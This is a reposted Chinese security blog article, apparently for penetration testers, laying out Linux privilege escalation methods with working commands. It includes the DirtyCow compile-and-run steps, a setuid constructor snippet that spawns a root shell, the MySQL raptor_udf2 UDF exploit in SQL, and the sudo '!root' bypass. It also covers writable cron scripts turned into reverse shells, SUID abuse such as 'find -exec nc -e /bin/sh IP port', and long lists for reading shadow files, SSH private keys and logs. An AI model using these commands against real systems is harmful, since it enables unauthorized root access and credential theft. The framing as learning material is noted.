关于linux权限提升的一些方法
2021/6/19 7:32:13
本文主要是介绍关于linux权限提升的一些方法,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
声明
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。
雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
No.1
权限提升主要目的
读取敏感文件(配置文件、密码文件),获得敏感信息(账户密码、用户数据),为进一步权限维持做准备(避免管理员修复你进来的漏洞入口,完成相关权限维持也就多了一次再进来的机会)
No.2
适用条件
目标系统有了shell,但可能是个普通用户,并不是root权限,而且也读不了啥敏感文件比如shadow
才疏学浅,本着学习的心向各位前辈进行学习,这边就先放了一些常用思路,其他一些linux权限基础、linux提权的信息收集补充在的文末,大佬们可自行翻阅。
No.3
常用的一些方式
内核提权:
所需条件:脆弱的内核;匹配的 exp;将 exp 转移到目标的能力;在目标上执行 exp 的能力,其实最主要还是根据相关内核版本,编译已有的exp进行提权,感觉特别新的内核不太好搞提权.......
查看linux内核相关信息与发行版本
两个辅助检测脚本,这边检测出了脏牛
https://github.com/mzet-/linux-exploit-suggester
https://github.com/jondonas/linux-exploit-suggester-2
Kali进行搜索
注意:
避免首先运行任何提权exp!!!目标机器可能会崩溃,公开的许多***都不稳定,可能会有rootshell但是系统随后会崩溃......
更多姿势可见Github:
https://github.com/SecWiki/linux-kernel-exploits
https://github.com/lucyoa/kernel-exploits
https://github.com/xairy/kernel-exploits
以脏牛提权为案例:
利用工具:
https://codeload.github.com/FireFart/dirtycow/zip/master
原权限,shadow是读不到的:
使用编译后的exp进行提权,这边会新建了个账户:
[test@testyang ~]$ gcc -pthread dirty.c -o dirty -lcrypt
[test@testyang ~]$ ./dirty 111111
可读取shadow文件:
低内核提权
前提:目标目录具有777权限
上图主要流程思路:
进入/tmp创建exploit目录,查看ping命令权限,创建文件硬链接并查看权限,将文件加载入内存并查看状态,删除文件后查看状态,创建一个c语言代码,gcc编译后即可获得权限
使用的C语言代码:
void __attribute__((constructor)) init() {
setuid(0); system("/bin/bash");
}
明文root密码权限:
linux系统的密码大部分都和/etc/passwd和/etc/shadow这两个配置文件息息相关,passwd里面储存了用户,shadow里面是密码的hash,正常情况下shadow是仅root可读写的
/etc/passwd文件:
passwd由冒号分割,第一列是用户名,第二列是密码,x代表密码hash被放在shadow里面了(这样非root就看不到了),而shadow里面最重要的就是密码的hash
/etc/shadow文件:
查看文件权限:
如果passwd可写,我们就可以把root的密码字段替换成一个已知密码的hash(比如本地虚拟机shadow里面的已知的root密码的hash),这样系统在验证密码时以passwd的为准,密码就已知了
如果shadow可读,直接获得root账户hash用john进行解密即可,和词典有关,感觉大部分时候解不出来..........
***以root权限运行的服务:
查看root用户运行的服务
这里以数据库为案例
exp: https://www.exploit-db.com/exploits/1518
use mysql;
create table foo(line blob);
insert into foo values(load_file('/tmp/raptor_udf2.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
具体地址通过ps aux查看mysql进程可以找到
create function do_system returns integer soname 'raptor_udf2.so';
select * from mysql.func;
最终获得相关root权限:
select do_system('id > /tmp/out; chown raptor.raptor /tmp/out');
sudo提权:
利用条件:
sudo的版本号<1.8.28;知道当前用户的密码;当前用户存在于sudo权限列表
当/etc/sudoers文件存在如下形式的配置会导致漏洞的产生(这种情况不会特别多)
user ALL=(ALL, !root) ALL
允许user用户以非 root 权限之外的所有用户权限运行命令,也就是说user用户拥有root权限以外的所有权限
修改配置文件,添加相应内容
提权后效果如下,成功读到shadow文件:
计划任务利用:
生成环境里边部署的linux系统可能有一些计划任务,一般这些任务由crontab来管理,具有所属用户的权限,非root权限的用户是不可以列出root用户的计划任务的,但是/etc/内系统的计划任务可以被列出
默认这些程序以root权限执行,如果有幸遇到一个把其中脚本配置成任意用户可写的管理员,我们就可以修改脚本等回连rootshell了
假设root调用某个脚本/tmp/te.py每分钟进行执行,非root账户对能够对文件如下修改,直接写了个反弹shell:
查看运行日志,确保每分钟都在运行了..
nc监听收到反弹shell如下
SUID提权:
SUID代表“执⾏时设置⽤⼾ID”,具有该标志位的⽂件在执⾏时,运行的uid变为属主⾝份,其实就是如果⼀个程序属主是root,并具有suid标志位,其他用户运行时uid会临时变为root
查看原权限
赋予s的权限(chmod u+s)后查看新创建文件的权限
已知常见的可用来提权的linux可行性的文件列表如下:
nmap
vim
find
bash
more
less
nano
cp
除此之外,还可以通过发现系统上运行的所有SUID可执行文件进行进一步利用:
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000-print2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} \;
find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;
find / -uid 0 -perm -4000 -type f 2>/dev/null
查看具有root用户权限的suid文件并利用,利用nmap,这边用的是个老版本的nmap:
输入反弹shell命令如下:
其他利用举例,环境暂时没加权限,可自行琢磨尝试
Find:
touch test
find test -exec whoami \;
find test -exec bash -p \;
find test -exec /bin/sh \;
find test -exec nc -e /bin/sh IP 端口 \;
find test -exec netcat -lvp 端口 -e /bin/sh \;
vim:
编辑/etc/shadow 或者进入vim后启动sh交互
:set shell=/bin/sh
:shell
也可以vim -c '!sh
bash:
bash -p
less:
less /etc/passwd
!/bin/sh
More:
more /home/pelle/myfile
!/bin/bash
劫持环境变量提权:
感觉也可以做成权限维持,通过低权限用户登录上主机调用相关命令获得rootshell:
当前位于/home/bee/testt内编写一个c程序调用系统二进制文件的函数,调用ps命令:
使用gcc编译.c的文件并提升suid权限:
gcc demo.c -o dede
低权限用户查找suid权限,发现我们制作的文件:
进入相关目录发现之前生成的文件并运行:
结合echo:
结合copy:
同理读取文件如下
补充内容:
都是一些基础知识整理,感觉一些信息收集的点还是挺有用的,大佬们可以选择性翻阅
Linux权限介绍:
Linux操作系统对多用户的管理,是非常繁琐的,所以用组的概念来管理用户就变得简单,每个用户可以在一个独立的组,每个组也可以有零个用户或者多个用户
用户是根据用户ID来识别的,默认ID长度为32位,从默认ID编号从0开始,但是为了和老式系统兼容,用户ID限制在60000以下,Linux用户分总共分为三种,分别如下:
root用户 ID 0
系统用户ID 1-499
普通用户ID 500以上
Linux系统中的每个文件或者文件夹,都有一个所属用户及所属组,使用id命令可以显示当前用户的信息,root账户为0,这里的普通用户为1000
Linux操作系统用户的特点如下:
每个用户拥有一个UserID,操作系统实际读取的是UID,而非用户名;
每个用户属于一个主组,属于一个或多个附属组,一个用户最多有31个附属组;
每个组拥有一个GroupID;
每个进程以一个用户身份运行,该用户可对进程拥有资源控制权限;
每个可登陆用户拥有一个指定的Shell环境。
Linux文件权限位:
第一位:代表文件类型,普通文件为-,目录为d,软连接为l,字符设备为c,块文件为b
第一组:文件拥有者的权限,rwx(读写执行),rw(读写),x(执行),以此类推,rwx转换为数字分别对应421,rwx位置不会改变,若无权限则用-替换
第二组:所在组用户的权限,同理如上
第三组,其他用户的的权限,同理如上
数字:若文件为普通文件,表示文件的硬链接(软链接不会增加数字),若文件未目录,表示目录下的子目录数量
第一个root:文件所有者为root
第二个root:文件所在组为root组
一串数字:文件大小
日期:最后的修改日期
最后一列:文件的名字
权限提升前的信息收集:
这里列举部分常见敏感文件路径信息,供学习及参考:
系统版本:
内核版本:
环境变量:
cat /etc/profile
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout
env
set
运行服务:
ps aux
ps -ef
top
cat /etc/service
查root权限服务:
查询安装的应用及版本,哪些当前运行:
ls -alh /usr/bin/
ls -alh /sbin/
dpkg -l
rpm -qa
ls -alh /var/cache/apt/archivesO
ls -alh /var/cache/yum/
服务配置,有无错误配置,寻找脆弱项:
cat /etc/syslog.conf
cat /etc/chttp.conf
cat /etc/lighttpd.conf
cat /etc/cups/cupsd.conf
cat /etc/inetd.conf
cat /etc/apache2/apache2.conf
cat /etc/my.conf
cat /etc/httpd/conf/httpd.conf
cat /opt/lampp/etc/httpd.conf
查看计划任务:
crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root
历史记录查看:
cat ~/.bash_history
cat ~/.nano_history
cat ~/.atftp_history
cat ~/.mysql_history
cat ~/.php_history
主机上可能有哪些纯文本用户名与密码:
grep -i user [filename]
grep -i pass [filename]
grep -C 5 "password" [filename]
查看网络连接情况:
/sbin/ifconfig -a
cat /etc/network/interfaces
cat /etc/sysconfig/network
查看网络配置,与网络中服务器:
cat /etc/resolv.conf
cat /etc/sysconfig/network
cat /etc/networks
iptables -L
hostname
dnsdomainname
敏感文件查看:
cat /etc/passwd
cat /etc/group
cat /etc/shadow
ls -alh /var/mail/
ls -ahlR /root/
ls -ahlR /home/
cat /var/apache2/config.inc
cat /var/lib/mysql/mysql/user.MYD
cat /root/anaconda-ks.cfg
cat ~/.bashrc
cat ~/.profile
cat /var/mail/root
cat /var/spool/mail/root
private-key
cat ~/.ssh/authorized_keys
cat ~/.ssh/identity.pub
cat ~/.ssh/identity
cat ~/.ssh/id_rsa.pub
cat ~/.ssh/id_rsa
cat ~/.ssh/id_dsa.pub
cat ~/.ssh/id_dsa
cat /etc/ssh/ssh_config
cat /etc/ssh/sshd_config
cat /etc/ssh/ssh_host_dsa_key.pub
cat /etc/ssh/ssh_host_dsa_key
cat /etc/ssh/ssh_host_rsa_key.pub
cat /etc/ssh/ssh_host_rsa_key
cat /etc/ssh/ssh_host_key.pub
cat /etc/ssh/ssh_host_key
日志信息查看:
cat /etc/httpd/logs/access_log
cat /etc/httpd/logs/access.log
cat /etc/httpd/logs/error_log
cat /etc/httpd/logs/error.log
cat /var/log/apache2/access_log
cat /var/log/apache2/access.log
cat /var/log/apache2/error_log
cat /var/log/apache2/error.log
cat /var/log/apache/access_log
cat /var/log/apache/access.log
cat /var/log/auth.log
cat /var/log/chttp.log
cat /var/log/cups/error_log
cat /var/log/dpkg.log
cat /var/log/faillog
cat /var/log/httpd/access_log
cat /var/log/httpd/access.log
cat /var/log/httpd/error_log
cat /var/log/httpd/error.log
cat /var/log/lastlog
cat /var/log/lighttpd/access.log
cat /var/log/lighttpd/error.log
cat /var/log/lighttpd/lighttpd.access.log
cat /var/log/lighttpd/lighttpd.error.log
cat /var/log/messages
cat /var/log/secure
cat /var/log/syslog
cat /var/log/wtmp
cat /var/log/xferlog
cat /var/log/yum.log
cat /var/run/utmp
cat /var/webmin/miniserv.log
cat /var/www/logs/access_log
cat /var/www/logs/access.log
ls -alh /var/lib/dhcp3/
ls -alh /var/log/postgresql/
ls -alh /var/log/proftpd/
ls -alh /var/log/samba/
感谢大佬看到文末,感谢翻阅。
这篇关于关于linux权限提升的一些方法的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-12-18git仓库有更新,jenkins 自动触发拉代码怎么配置的?-icode9专业技术文章分享
- 2024-12-18Jenkins webhook 方式怎么配置指定的分支?-icode9专业技术文章分享
- 2024-12-13Linux C++项目实战入门教程
- 2024-12-13Linux C++编程项目实战入门教程
- 2024-12-11Linux部署Scrapy教程:新手入门指南
- 2024-12-11怎么将在本地创建的 Maven 仓库迁移到 Linux 服务器上?-icode9专业技术文章分享
- 2024-12-10Linux常用命令
- 2024-12-06谁看谁服! Linux 创始人对于进程和线程的理解是…
- 2024-12-04操作系统教程:新手入门及初级技巧详解
- 2024-12-04操作系统入门:新手必学指南